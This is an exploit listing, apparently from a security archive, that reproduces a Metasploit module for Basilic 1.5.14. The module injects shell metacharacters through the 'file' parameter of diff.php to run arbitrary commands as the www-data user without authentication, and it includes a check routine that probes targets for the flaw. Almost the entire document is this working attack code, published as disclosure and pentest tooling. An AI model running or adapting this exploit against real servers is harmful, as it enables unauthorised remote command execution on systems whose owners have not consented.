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Basilic 1.5.14 diff.php Arbitrary Command Execution

Basilic 1.5.14 diff.php Arbitrary Command Execution
Posted Jul 6, 2012
Authored by Larry W. Cashdollar, sinn3r, juan vasquez | Site metasploit.com

This Metasploit module abuses a metacharacter injection vulnerability in the diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary commands as the www-data user account.

tags | exploit, arbitrary, php
MD5 | 9d16ea294133914f3b79a69c57218572

Basilic 1.5.14 diff.php Arbitrary Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
commands as the www-data user account.
},
'Author' =>
[
'lcashdollar',
'sinn3r',
'juan'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '54234' ]
],
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet'
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 28 2012'
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
], self.class)
end


def check
base = target_uri.path
base << '/' if base[-1, 1] != '/'

sig = rand_text_alpha(10)

res = send_request_cgi({
'uri' => "/#{base}/Config/diff.php",
'vars_get' => {
'file' => sig,
'new' => '1',
'old' => '2'
}
})

if res and res.body =~ /#{sig}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end


def exploit
print_status("Sending GET request...")

base = target_uri.path
base << '/' if base[-1, 1] != '/'

res = send_request_cgi({
'uri' => "/#{base}/Config/diff.php",
'vars_get' => {
'file' => "&#{payload.encoded} #",
'new' => '1',
'old' => '2'
}
})

if res and res.code == 404 then
print_error("404 Basilic not installed or possibly check URI Path.")
else
vprint_line(res.body) if res
end

handler
end
end

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